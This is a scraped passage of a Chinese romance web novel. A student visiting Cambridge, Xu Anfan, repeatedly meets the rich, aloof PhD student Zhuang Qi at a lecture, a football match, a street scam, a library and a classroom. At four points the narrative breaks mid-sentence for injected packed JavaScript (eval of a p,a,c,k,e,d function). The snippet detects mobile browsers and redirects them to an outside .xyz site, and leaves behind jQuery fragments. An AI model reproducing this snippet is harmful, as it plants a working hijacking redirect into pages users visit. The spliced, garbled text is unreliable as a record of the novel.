“不敢不敢,那庄哥你这车暂时归我了啊,我外面兜一圈再开你车库里。”男生边说边灵活地钻进了车里。 但紧接着,他又迅速把头探了出来:“那什么,受累打听个事儿,新换那混血嫂子还是嫂子吗,就早上你去结账的时候她在网上加我,说昨晚上给你发消息不回,打电话也没接,让我跟你说一声。” 庄启敷衍地掀了下眼皮:“说什么。” 男生挠了挠头,推测道:“我估摸着是生气了?可能是想让你说两句软话给她听听。” 庄启说知道了,看起来压根没往心里去。 他们的对话被许安繁和陈晚听得一清二楚,陈晚扯了扯许安繁的衣角,悄声议论:“我猜他肯定不去哄,你说呢。” 许安繁没说话,按了下手机,把屏幕亮给陈晚:“走快点儿,不然讲座要迟到了。” 陈晚这才想起正事,风风火火扯着许安繁就跑了:“快快快,别让人老外觉得咱没时间观念。” 许安繁不知道是不是自己的错觉,她们跑过庄启旁边的时候,他似乎朝她们的方向投来了淡淡的一瞥。 两个人踩着讲座开始的时间从后门进了教室,教授还没来,但前排已经坐满了,整间屋子人头攒动,只剩最后一排还余了几个座位。 “就这地儿吧。”陈晚说。 她们挨在一起坐下,许安繁把随身的帆布包放到身后,拿了纸笔出来,抬头看到幻灯片上打出的学者名字:“Jackendoff?难怪你要来。” “人家是老乔学生,这辈子见不到乔姆斯基,能见见他的弟子也行。”陈晚说。 许安繁跟她闲聊:“怎么见不到,你知道乔姆斯基还活着吗?” 陈晚瞪大了眼睛,许安繁正想说自己上次发现这件事的时候也很震惊,然后就被对方在桌下用膝盖碰了一下。 她愣了愣,看见陈晚朝她身侧最外的位置使了个眼色。 直到听见声响,许安繁才意识到,有人拉开了隔她一个座的椅子。 她侧过头,教室支起一半的窗户恰好放进一阵薄风,扶疏的悬铃木在室外被吹得枝叶簌簌,叶隙间的光斑在透明的玻璃上摇曳,给坐下的庄启镀了一层朦胧闪烁的轮廓。 他坐得吊儿郎当的,穿了件连帽卫衣,脸上还带着昨夜的疲倦,微垂着眼,睫毛在眼睑投下淡色的阴影。 许安繁将目光收了回去。 放在桌上的手机弹出来一条新消息。 陈晚:“他居然真的来听讲座。” 陈晚:“二世祖通宵完还来学习,好荒谬。” 许安繁还记得岳照说过的那些关于庄启的事情,她觉得也许他不算什么二世祖,想告诉陈晚,但这时教室的前门被推开,一个戴眼镜的外国男人夹着讲义走了进来。 “来了来了。”陈晚说。 杰肯道夫站到台上,放下文件夹,用带有美式口音的英语说自己最近来剑桥访学,很高兴能在这里见到这么多对语言学感兴趣的同学。 这之后他开始放幻灯片,语速很快地讲解自己最新的研究成果,陈晚听了没几句,就一脸茫然地问许安繁他说的是什么。 杰肯道夫的语言学研究重视神经科学和生物学,报告里有大量专业词汇,许安繁也不能全都听得明白,她按照刚才记下来的几个关键词,连蒙带猜地给陈晚翻译了几句,这一下又错过了下文,接不上了。 “算了,你别讲了,我听不懂,”陈晚一副头痛的表情,她盯着滔滔不绝的杰肯道夫,给自己降低了标准,“就当成是来学术追星好了。” 许安繁本就是陪她来的,陈晚不听,她也没那么认真了,手里转着笔,有一搭没一搭听了阵,眼皮就开始打架。 重温着早上被闹钟中断的睡意,到教授宣布中场休息的时候,许安繁终于撑不住了。 闭上眼睛的同时,她的水笔从指间掉下去,骨碌碌地在蓝色的薄地毯上滚动。 一直滚到庄启的球鞋边才停下来。 庄启察觉到,低头扫了眼,俯身捞起来。 许安繁正打瞌睡,脑袋渐渐低下来,最后下巴一掉,又把自己给弄醒了。 她呆呆地睁开眼睛,望向讲台的时候看到教授正坐着喝水,便转头问陈晚:“结束了?这么快?” “没呢,中场休息,你准备走吗,我还想等结束让他给签个名。”陈晚说。 许安繁带着没睡醒的声音说:“那等到最后吧。” 她往桌上一趴,忽然觉出不对,眼睛眨了几下,发现自己带来的笔不见了。 许安繁直起身体,正打量着附近的地面,一只骨节分明的手就伸到了她眼前。 修长手指松松握着她的水笔,皮肤下隐隐透出青色的血管。 “找这个?” 倦懒又玩味的语气。 许安繁一寸寸往上看,视线经过了男生被衣袖包裹住的手臂、平直的肩膀、嶙峋的喉结,最后在他张扬的脸上停下。 那对漆黑的眼眸不知怎么看得许安繁不自在,她盯着他的衣领说:“……嗯。” 接着她就伸出手,想把笔拿回来。 庄启却轻松将手腕一抬,让她抓了个空。 他瞧着女孩子白皙柔软的脸,另一只手搭在椅背后面,开口时带了些混不吝:“就这么拿走了,不谢谢师哥?” 许安繁目力所及的地方,庄启的衣领正随着他说话的动作微微起伏。 她不得不重新看向他:“谢谢。” 庄启没计较许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071829|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安繁对这句道谢的简省,扬了下眉,把笔放回她桌上。 塑料笔壳与桌面接触,在嘈杂的教室里发出很轻的一声响,许安繁过了一会儿才攥回手里。 讲座结束后,陈晚要找杰肯道夫要签名,问许安繁去不去。 许安繁摇摇头,说自己在座位上等她。 “行,那我先去了啊。”陈晚拿着自己的笔记本就往讲台的方向冲过去。 教授人气很高,周围已经围了好几圈人。 许安繁等陈晚的时候,注意到庄启还坐着没走。 男生低着脸看手机,指尖很快地点击着屏幕,似乎在写些什么,十分认真的模样。 几分钟后,他站了起来,迈着两条长腿朝教室前面走过去。 应该是有问题要问。 许安繁无意识地盯着他的背影看了会儿。 她想起庄启课间跟自己的对话,他看上去已经忘记了昨天还在圣体钟前见过她。 也难怪,他对谁都不在意,遑论会记住她这个只有一面之缘的陌生人。 许安繁移开目光,去看陈晚的排队进度。 前面还有两个人,应该马上就要到了。 但陈晚的表情一下子慌张起来,许安繁看着对方浑身上下一顿搜罗,最后遥遥朝她望过来,嘴里不停地做着某个口型。 许安繁反复辨认了几遍,看明白陈晚是没拿笔上去,让她帮忙送一支。 她回了个“OK”的手势,抓起刚才庄启还给她的水笔,过去找陈晚。 这间教室本来就不大,人流走来走去就显得更加拥挤,还有人就站在过道上聊天和交流学术问题,许安繁费力地穿过其他人,靠近讲台附近的人堆时,没留神被谁丢在地上的书包绊了一下。 眼见着就要摔倒,一只宽大的手掌自身后伸出来,托住了她的肘弯。 许安繁回过头,看到了庄启。 “站稳了?”他问。 许安繁点点头,将胳膊抽了回来。 怕庄启再说什么要谢谢师哥之类的话,她匆匆道过谢就跑了。 明明只是短短一刹那的接触,手肘被他碰过的地方却好像还残留了一缕余温。 在许安繁的帮助下,陈晚顺利地拿到了杰肯道夫的签名,两个人离开教室的时候,陈晚一边翻一边说:“来值了,我要发条动态显摆一下。” 许安繁还没应声,陈晚的话头就转了个弯:“哎,我刚才看帅哥扶了你一把,还挺绅士的。” 停了停,她又道:“不过看他就是女朋友换不停的,课间他是不是还逗你来着,这种人就是这样。” 许安繁鬼使神差追问了句:“哪样。” 陈晚凭着感觉描述:“就谈恋爱当玩的那种呗,我跟你说,这样的男生抓得住人抓不住心,欣赏欣赏就算了,要是真沾上了,他全身而退,你没个几年都缓不过来。” 走出教学楼,室外冷清的气息袭来,两个人关于庄启的话题也就此中断。 许安繁仰起脸望着高远的天,心里没来由地冒出个念头,英国的夏日七月,永远都不会变得热烈吗。 5. 无夏 几天后,许安繁又看到过庄启一次,准确来说,是看到了他和他的混血女朋友。 她当时正跟室友一起走在去上课的路上,经过了某个学院的足球场,宽阔的绿茵地上在举办一场小型比赛。 几个人原本正讨论下个周末要不要一起去伦敦玩,孔小琦突然说:“那边踢球的有个好帅。” 苏虞接嘴问“在哪”,又说:“真的帅吗,我总觉得这边男的二十来岁就长得跟三四十一样,帅的都是未成年。” “不是这边的人,是个中国帅哥,你看那儿。”孔小琦指了指。 大家都顺着她指的方向看过去,陈晚认了出来:“等等,这不那谁吗,安繁,就咱们那天讲座碰到那个。” 许安繁张了张嘴,但又把庄启的名字咽了回去。 而陈晚已经确认了:“就是他,我跟安繁见过,他开个超跑去上课来着。确实挺帅的,五官每一个都没得挑。” 这天庄启穿的是黑白色球衣,偏薄的布料勾勒出利落身形,孤桀又挺拔。 他个子长得高,快到一米九,即便跟一群西方人站在一起,气场也丝毫不逊色,洒落一身嚣浪恣意。 足球场边立了计时牌,此刻上半场接近尾声,庄启的队友拿到球权,抓紧时间从中路斜传给了他。 庄启轻松接到,从禁区内切低射,足球带风直冲球门。 对面球队的守门员弓着背试图扑球,然而庄启的球好似计算好了距离一样,擦着他的身体径直飞了过去—— 毫无悬念,破门得分。 庄启这一队的队员立即举臂欢呼,裁判吹哨示意中场休息,场边有不少观众都站了起来为庄启鼓掌,几个女生手放在嘴边举成喇叭状尖叫,喊着他的名字。 连陈晚也感叹了一声:“我去,刚才那球也太厉害了。” 不同于队友和观众的激动,庄启本人倒很平静,像是习惯了被这样瞩目。 他走到场边,撩起球衣的下摆擦了把汗,露出清晰紧绷的腹肌轮廓,如墨的额发被打湿了,衬着凌厉眉眼更显英气。 这时一个穿吊带裙的女生从观众席跑下来,手里抓着瓶水,来到庄启面前之后停下,把水递给了他。 球员休息的位置离许安繁她们没几步远,许安繁认出女孩子就是庄启那个女朋友。 陈晚点评道:“果然,一看他就喜欢辣妹。” “这大胸大长腿,我下辈子能拥有吗。”孔小琦羡慕地说。 庄启随手把瓶盖拧开,仰头灌下去,喉结一下下滚动。 他十分坦荡,女孩子却踌躇了一下才开口:“上次是我不对……我就是想试试我在你心里重不重要。” 嗓音绵软粘人。 庄启放下瓶子,语气随意:“上次?上次是哪次。” 不是撒谎,是真忘了。 陈晚给了许安繁一个“我就说”的眼神。 许安繁明白她的意思,女生指的估摸就是几天前,庄启朋友跟他说让他去哄人的那回事。 当时陈晚就打赌说庄启肯定不会做,果然,他不仅没哄,甚至直接忘得一干二净。 还有课要上,许安繁跟室友也只能看热闹到这里,去教室的路上,陈晚顺口说:“咱学校怎么没这种男的。” 孔小琦开玩笑:“怎么,有的话陈姐准备去追啊?” “那可不敢,这样的都没长心,我就是想要是有这样的大帅哥跟我一起上课,我早八就不至于起不来了。”陈晚说。 苏虞插话道:“你怎么知道人家没长心,说不定哪天就得尝尝情伤的滋味。” 她转向一直没发表意见的许安繁,拉她加入话题:“你说呢,安繁?” 许安繁如梦初醒般道:“……可能吧。” 陈晚上下打量她一番:“发什么愣呢。” 紧接着,她不怀好意地开许安繁玩笑:“想帅哥?” 许安繁矢口否认:“不是,我在想他们的比赛。” 陈晚揶揄她:“没看出来,这还有个球迷。” 许安繁没好气道:“行行行,我想帅哥行了吧,带他回国跟你一起上早八去。” 话音刚落,她打了个喷嚏。 陈晚“噗嗤”一声笑了:“完了,帅哥也惦记上你了。” 事实证明许安繁打喷嚏是因为着凉了,第二天早上醒过来的时候,她觉得嗓子里发痒发干,像是感冒的前兆。 来之前许知钦给她往行李箱里装了一小包常备药,她爬下床去找,同时发了消息给许知钦,问他自己该用哪一种。 许知钦直接回了电话:“小繁,你描述一下症状。” 许安繁一五一十地说了,许知钦思考了一下:“你还没感冒,不能吃感冒药,这样,你去买个姜茶预防一下,暖暖身子,说不定就好了。” 许安繁怀疑地问:“英国有姜茶?” 过了几分钟,许知钦给她传过来一张图片:“我查了一下,玛莎超市有这种柠檬味的,你们那边有玛莎吧,你让售货员帮你找找。” 这天上午没有安排,许安繁洗漱完,套了件外套就出门了。 路上她把许知钦发给她的那张图片转发给了岳照:“照照,你知道这是什么吗,姜茶居然有柠檬味。” 岳照:“你感冒了?” “还没,就是着凉了嗓子不舒服,我哥让我去买这个。”许安繁说。 岳照:“你哥简直把你当小孩儿养。” 岳照:“没见过哪个男的这么会照顾人,好多人对女朋友都做不到这份上。” 许安繁无端想到了庄启。 她迟疑一下,缓缓打字:“你们高中那个学长,我又看到了,一次听讲座碰上的,一次看到他在踢球。” 岳照:“学长?哦,你说庄启。听说他体育也挺好的,高中是篮球队队长来着。” 岳照:“他就是那种全能型选手,样样都出色,还有背景。京云科技你听说过吧,那家企业是他爷爷的。” 许安繁想庄启果真是受人关注,高中上下几届人对他的事情这么清楚。 她还没想好要给岳照回复什么,就有一道人影挡住了她去路。 许安繁抬起头,看到了一个衣衫褴褛的白人老者。 对方正在跟她说话,他的英语口音极重,许安繁好不容易才听明白他说刚刚扭了脚,但身上没有钱,想让她帮忙去前面的药店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071830|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买药。 她说“waitforme”,想让老人在原地等着,但他却坚持要跟她一起去,说药店偏僻,怕她找不到。 明明扭了脚还要多走路,许安繁一下子警觉起来。 或许是发现了她的神色变化,老人催促她快些,一边说一边走得离她更近。 周围暂时没有人经过,许安繁心中警铃大作,她后退了一步,强自镇定地说自己要走:“I''msorry,Ihavetoleavenow.” 老人见自己被识破,顿时目露凶光:“No,youmusthelpme.” 他张开枯瘦的指头就要强行把许安繁拖到自己旁边,许安繁看出跑不掉,正打算呼救,说时迟那时快,一只有力的手从旁边伸过来,硬生生止住了老人的动作。 “又装瘸忽悠小姑娘呢。”庄启浪荡的声音响起来。 老人听不懂中文,嘴里咕咕哝哝的,奋力活动了几下胳膊,想摆脱庄启的控制,却始终被他攥得很牢。 庄启警告他老实点:“Cutitout,oryou''llregretit.” 他说英语地道,发音就像许安繁看过的英剧里那样纯正标准。 老人意识到自己今天遇上了不好对付的主儿,终于服软,开始向庄启求饶。 庄启没再搭理他,转向许安繁,低着眼看她:“这么乖?别人骗你什么都信?” 许安繁想说自己刚才已经看出老人说的是假话,只不过没来得及跑掉他就出现,但撞进男生那双幽深的眼睛,她竟蓦地失语了。 另一把嗓子打破了短暂的沉默:“妹妹你不知道,这老东西是惯犯,就喜欢找女学生下手,假装自己崴脚了把你带小巷子里,要你身上的钱,你要是跑他就追,之前我们有个学妹被他一直追到图书馆门口。” 是那天帮庄启开车的哥们儿。 他的眼神在许安繁脸上转了一圈:“我叫唐策,庄启朋友。” 许安繁听这话,意识到对方大概是把自己当成庄启什么人了。 她不好解释,只得顺着唐策话头轻声说:“许安繁,安静的安,繁茂的繁。” 庄启松手放走老流浪汉,对方即刻消失得不见踪影。 他朝唐策招了招手:“走了。” 唐策还在满脸好奇地观察许安繁,闻言惊讶道:“这就走?” “那把你留这儿。”庄启说。 唐策赶紧跟上:“来了来了。” 许安繁听到他问庄启:“所以那不是你新欢啊,我还奇怪呢,这也不是你喜欢的型。” 庄启反问:“街上随便拉个女孩儿都得跟我有关系?” “那倒不是,我以为你换口味了,不过这妹妹长得真叫一个清纯,”唐策贼眉鼠眼起来,“不是新欢,你总认识吧,给个联系方式?” “不认识。”庄启说。 唐策惨叫起来:“什么?所以你这就是一简单的见义勇为?” 他们越走越远,再往下的话许安繁就听不到了。 她微微失神,是这里太小了吗,才总是碰到庄启。 他不认识她,可她已经见过他,好多次了。 6. 无夏 「剑桥三一学院门口的苹果树并不真的是当年帮牛顿想出万有引力的那一棵,只是后人移栽来作为象征的纪念品。看到它的时候,其实我会想问,每天一动不动地扮演另一棵树,应该也很辛苦吧?」 ——许安繁《无夏之年》 那天许安繁买到了柠檬味道的姜茶,价格不贵,只要一镑多,奇异的搭配冲沏出来却还算好喝,也许是因为里面的姜味不重。所以她也不清楚这样的姜茶还有没有御寒的作用。 不过至少她的嗓子不再痛了。 这天下午有一次讨论课,许安繁本想结束之后就回校舍休息,但陈晚神神秘秘地拉住了她,问她想不想去参观三一学院。 三一学院是剑桥众多学院里接近顶尖的存在,培养出过很多青史留名的天才学生,平日不对游客开放。 “之前咱们不是去门口看过那棵牛顿的苹果树了吗。”许安繁说。 她还记得那棵树独自站在一小片草坪里,周围天光疏落的样子。 陈晚摇摇头:“什么门口,这回带你进去。” 许安繁愣了下:“他们不让我们进吧。” “这你就小看我了,”陈晚兴致勃勃,“你猜怎么着,我那天听完讲座不是发了条动态吗,结果就联系上我一小学同学了,她现在搁这儿上学呢,我就问能不能带我和朋友参观她们学院,她说没问题,就是一次只能带两个人。” 她说完,满脸期待地问许安繁:“怎么样,去不去?” 毕竟是难得的机会,许安繁自然说好。 “行,那我现在让她到学院门口等咱们。”陈晚说。 她边发消息边跟许安繁往外走,十几分钟后,两个人见到了她的小学同学余怡,被带进了三一学院内部。 站在庭院里,陈晚给许安繁和余怡介绍了一下,许安繁觉得她们多年不见应该想要叙旧,便体贴地说自己先一个人到处逛逛,让陈晚待会儿来找自己。 在室外简单转了一圈,许安繁去了三一学院最有名的莱恩图书馆,想去看里面收藏的拜伦手稿。 一进大厅就是拜伦高大的玉石雕像,沉静质地散发着寒凉的气息,许安繁想起高中学历史的时候,课本某一页的角落就有这位大诗人的画像,看起来非常英俊。 她沿着黑色的铁艺楼梯拾级而上,在图书馆里绕来绕去,终于找到了存放拜伦手稿的展柜,还没看几眼,陈晚就出现了。 许安繁看她就一个人,便问道:“你同学呢?” “走了,她说晚上跟人约了要去看电影,不然请咱们吃饭。”陈晚大大咧咧地说。 她看起来像是回忆起了什么有意思的事情:“……哎,你还记得那个帅哥吗?” 虽然只是简单的描述,但许安繁立刻就明白陈晚指的是庄启。 然而她还是若无其事地问了声“谁”。 陈晚说“你什么记性”,又说:“就咱们讲座碰到那个,他居然也是这个学院的,还是博士,叫什么庄启,听我同学说在学校里特别有名,读书也厉害,顶刊发了五六篇一作了。” 许安繁“唔”了声,并不意外。 陈晚摇摇头:“看来他是真的爱学习,我还以为装的呢,不过我要有他一半有钱,我才不读博,我去环游世界。” 两个人聊着天参观完了图书馆,要走的时候,陈晚忽然问:“有个随机掉落的展品,你想不想看。” 许安繁没明白,陈晚便笑嘻嘻地点了点指引牌上的阅览区:“我同学说庄启经常这个时间去查文献,她一朋友暗恋人家,把作息都摸清楚了。” “……再这么下去我看你也要暗恋上人家了。”许安繁说。 陈晚很坦荡:“我暗恋个屁,就是想多看两眼帅哥,走吧走吧,去看看。” 许安繁就这么被陈晚拽了过去,没想到她们运气不错,东拐西拐之后,真的看到了角落里坐单人桌的庄启。 他侧对她们坐着,后背散漫地抵着椅子,一条胳膊压在桌上,另一只手操纵电脑触控板,在翻看屏幕上的英文文献。 隔着一架高低错落的书,陈晚用气声对许安繁说:“真在这儿。” 许安繁注视着庄启轮廓起伏的侧脸,觉得他的眼神很专注,整个人英俊过方才在楼下见过的拜伦塑像。 谁都没想到,陈晚的手机在这时响了。 不是短短一声提示音,而是一阵急促、刺耳的铃声。 “我靠,我同学给我打电话。”陈晚小声说着,飞快地跑掉了。 好在周围只有庄启一个,她们并没有打扰到更多人。 坏也坏在,只有庄启一个。 许安繁眼睁睁地看着庄启从座位上偏过头,目光越过一排书架,准确地落在了她身上。 就像一张巨大的降落伞从天而降,将她严严实实地笼罩。 看到她之后庄启似乎有些意外,稍稍抬了下眉,随即眼中就多出了点调笑。 在这短短的一秒钟里,许安繁想,也许他无意间抓住过许多如她一样的人,不知道陈晚口中那个暗恋庄启的女孩子,是不是亦曾怀揣心事,站在他的目光中无处藏身。 庄启率先开口打破了沉默:“不出来啊?” 嗓音依旧懒散,不是兴师问罪的意思。 许安繁确实也不能一直藏在书架后面,听到之后,她只得挪步过去,站在离他不近不远的地方,先发制人地编了个理由:“我来找书。” 庄启轻笑了声,好整以暇地抬眼看她:“我也没说你不是来找书。” 顿了顿,他添上一句:“许安繁。” 或许是因为第一次喊她的名字,他说话时的语速比平常慢一些,字与字之间的间隔稍长,让许安繁把每一个音节都听得很清晰。 她垂在身侧的手缩了缩。 “你记得。”她小声说。 庄启“嗯”了声:“挺好记。” 他伸手撑着桌面站了起来,转过身松松垮垮靠着桌沿:“不是来找书么,那你说说,找的什么书。” 许安繁被他问得一噎,这才发现男生瞧着她的黑眸里藏着一丝不明显的坏。 是故意的。 好在她英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071831|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语不错,打眼一扫,附近书架上的书名都看懂了七七八八。 “那本,”许安繁随手一指,“《DiscourseandSocialChange》。” 庄启倒也没挑破她,走过去把书抽了出来,放在手里随便翻了翻:“批判语言学啊。” 许安繁想起那天他通宵完去听的讲座也是相关的内容,忍不住问:“你这么了解,是学语言学的吗。” 庄启把书放到桌上:“计算机科学。” 许安繁吃了一惊:“计算机?” 她本想问他明明学的是没什么联系的专业,为什么会对语言学这么感兴趣,但庄启并没有接话的意思,只是垂眸看着那本书的封面,不知在想什么。 于是许安繁敏锐地察觉到,他似乎不想继续这个话题。 一瞬安静过后,她转而问道:“……你叫什么名字。” 是明知故问,也是希望两个人能有一次正式的“认识”。 那种不怎么端正的神态又出现在了庄启脸上,他掀起眼皮戏谑道:“连我叫什么都不知道,还在那边看了好半天?” 许安繁假装平静地说:“……我没看好半天。” 庄启懒洋洋地附和她:“对,你只看了那么一眼,就是运气不好被我撞上了。” 许安繁被他说得脸上发热,她假装没听明白庄启的揶揄,伸手去拿桌上的书:“书找到了,我要走了。” 其实没有学生卡她不能借走书的,只是找个借口而已。 拿书的时候她匆匆一瞥,看到他桌上放了支钢笔,纯黑色的,笔身修长。现在这个年代很少看到有人用钢笔,许安繁多看了一眼。 “等等。”庄启忽然胳膊一抬,拦住了她。 许安繁心慌意乱地抓着书,想不到他还有什么话要讲。 片刻之后,她听到他说:“我叫庄启。” 庄启说完,眸光划过女孩子通红的耳廓:“问完我名字,答案都不听就走,这么不负责任?” 许安繁在心里想,因为我早就知道答案。 知道你叫庄启,知道你从哪所高中毕业,顺手拿过状元,也知道你谈过许多个女朋友。 许安繁从阅览区离开的时候把书放在了回收文献的手推车里,虽然清楚庄启应该不会特地过来看,但她还是将那本书藏在了比较下面的位置。 手机震了下,显示有新的消息进来。 陈晚:“图书馆门口等你,余怡看电影被人鸽了,回来请我们吃晚饭。” 然后是一张滑跪讨饶的表情包,以及带着三个感叹号的道歉:“刚才对不起!!!我真不知道她要给我打电话TAT。” 许安繁打字说没关系,回头看了一眼庄启的方向。 她已经走出不短的一段距离,视野里不再有他的侧影,和那张贴墙角放置的书桌。 可耳边还隐约回荡着他叫她名字的声音,仿佛刚走出一段暖热梦境,明明此间冷夏寒凉,她却独自遐想升温。 许安繁怀揣着自己也说不清的情绪,往出口的方向走去。 7. 无夏 余怡很和善,许安繁也是好相处的性格,两人只是一起吃了顿饭,就立即就跟对方成了朋友。 “你们这个时间来还挺凑巧的,正好是我们夏季学期的期末,再晚点儿我就出去玩见不到你们了。”余怡剥着一只虾说。 陈晚用力点头表示赞同,然后道:“可惜也见不了几次。” 余怡笑了:“那明天上午我们有一门课结课,要每个小组上台表演,你们来看吗,结束之后老师会分自己烤的苹果派给大家吃。” 一提吃的陈晚就来了精神:“好啊,我们有空。” “课后有观众投票,记得投我们组哦。”余怡叮嘱道。 第二天许安繁和陈晚遵守约定,去看余怡的结课表演,余怡到门口接她们的时候已经化好妆,换上了白色的纱裙。 陈晚夸张地“哇”了一声:“你演公主啊。” “差不多吧,是公爵的女儿,我本来想演仙后的。”余怡说。 许安繁灵光一闪:“你演的是赫米娅?” 余怡眨了眨眼睛:“bingo。” 陈晚没听清,问许安繁:“你说她演谁?” 许安繁解释道:“赫米娅,《仲夏夜之梦》的女主角,莎翁的经典之作。” 她说完,余怡随口问:“你喜欢莎士比亚?” 许安繁摇摇头:“是我一个朋友。” 读莎士比亚的是岳照。岳照喜欢看书,会做大本的摘抄和笔记,还会把钟意的书送给她作礼物,初中有一次两个人去逛旧书店,岳照买到一套折价的莎翁戏剧集,带的零用钱不够,还是许安繁帮她买下来的。 那天天气很热,两个人轮流抱着那套书,彼此的体温和细微的汗意都留在了封面上,临别的时候岳照抽出一本给许安繁,说:“刚才我翻了,里面好几篇我都读过,这本送给你。” 年少的时候人总有微妙的好胜心,许安繁也喜欢看书,但她没有岳照读得多,也没在那个年纪翻开过莎士比亚,她暗暗感到挫败,回家之后马上就把那本书读完了,希望下次岳照提起的时候,自己也可以接得上话。 到了上课的地方,余怡伸长脖子看了看走廊对面不远处的另一间教室:“晚晚,昨天我不是跟你说庄启师哥吗,他这学期有门课就在那边上,好像也是今天结课。” “你别说,我们昨天在图书馆碰到他了,就你给我打电话那会儿,是不是安繁。”陈晚说。 话递到许安繁嘴边,她状似无意地问:“那他也是结课之后就不在学校了吗。” 余怡想了想:“应该还在,他们博士生的课题组做项目不分什么假不假期的,而且庄启师哥经常要开学术会议。” 余怡那组上台的时候,许安繁拍下一张照片,发给了岳照:“你喜欢的仲夏夜之梦。” 岳照回复说“羡慕”。 “北市有没有这个话剧,之后我们一起去看。”许安繁说。 岳照:“不知道,我查一下,但下学期我就高三了,每周只能休半天。” 岳照:“好想快点上大学,想做什么就做什么。” “你都想做什么?”许安繁好奇地问。 岳照说:“写小说,我想当作家。” 她说着,发了一个文档给许安繁:“这个是我最近刚写的。” 许安繁答应岳照自己晚上回去看,余怡的表演结束后正好是课间休息,她起身去洗手间,出来的时候不小心走错了方向,意识到的时候,她发现自己来到了庄启的教室附近。 那是间小教室,门还关着,大概还没下课。 许安繁走到教室后门,悄悄踮起了脚。 看清讲台上那人的时候,她的眸光晃了晃—— 是庄启正在做汇报。 他今天穿了白衬衫黑长裤,站在投影屏前单手握着话筒,领口敞开一颗扣子,袖口也被挽起来,露出薄而均匀的手臂肌肉,非常正式的衣服也被他穿出了松弛感觉。 许安繁看不懂庄启PPT上复杂的模型和公式,也听不太清他在讲的东西,只能看出他的神态从容不迫,一望而知是非常熟悉这样的场合,对自己汇报的内容也了如指掌。 能想象到他是那种做什么都游刃有余的人。 忽而庄启的目光投向她所在的后窗。 许安繁呼吸一滞。 她下意识地偏了一下身体,想要逃离他的视线范围。 但庄启下一秒就移开了眼神,似乎只是自然地环视了教室一周,许安繁也不确定他有没有看到她。 只是接下来她有些不敢再往台上看,怕同他对视。 教室里都是可移动式桌椅,许安繁发现靠窗的地方有一张是空的,想来就是庄启的座位。 他桌上放着平板电脑和折叠键盘,旁边还有几页打印纸和一支钢笔。 是她昨晚在图书馆看过的那支。 许安繁觉得庄启应该很喜欢这支笔,去哪里都带着。 庄启的汇报结束,教室里响起了热烈的掌声,连坐在第一排的教授也流露出赞许神色。 许安繁明明在这个时候就应当折返回去的,可她还是停在那里,像一只飞鸟落在不该经过的窗台。 直到教授点评完庄启的汇报,教室的前后门突然都打开,人流涌出的热气将许安繁包围,她才乍然惊醒,很快就看到庄启单肩背着包,正要迈出教室。 几步远的地方就有一排柜子,她立刻躲到了远离他的那一侧。 就在庄启将要离开时,一个女孩子从楼下走上来,大声喊了他的名字。 是他女朋友。 庄启停下脚步,女生小步快跑来到他面前,牵住他的手仰脸嗔道:“不是跟你说我来找你吗,你怎么先走了。” 庄启晃了晃手腕:“不还是被你拴住了。” 只是一句调情的话,女生却理解成了别的意思,她脸色变了变,到底还是没忍住把心里话问了出来:“你烦我了?” 庄启显然懒得哄,摸了一把她的头发代替回答。 女生却牢牢攀着他不放:“庄启,你到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071832|163239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底是怎么想的,你还喜欢我吗。” 她问得急切,但庄启的脸上已经浮现出了不耐烦的神色。 察觉到他的情绪,女生的眼圈渐渐以肉眼可见的速度红了。 过了片刻,她终于忍不住说了句气话:“我明白你意思,那我们分手好了。” 周围的人已经散了,唯独剩下许安繁还躲在柜子后侧。 她本来以为庄启和女朋友很快就会走,没想到最后只剩他们三个还在这里,她大气都不敢喘,生怕被发现在听墙角。 尽管她不是主动要听的。 柜子不能把她的身体遮挡得那么严实,她尽量往后缩,可外套上的金属拉链却不小心划过了柜子表面,发出了一声杂音。 音量不是太大,许安繁在心里祈祷没人听到。 然而下一秒,正要开口的庄启就朝她的方向看了过来。 许安繁的心一下子提到了嗓子眼。 庄启意味深长地瞧了她几秒,而后收回目光,很利落地对面前女生说:“行。” 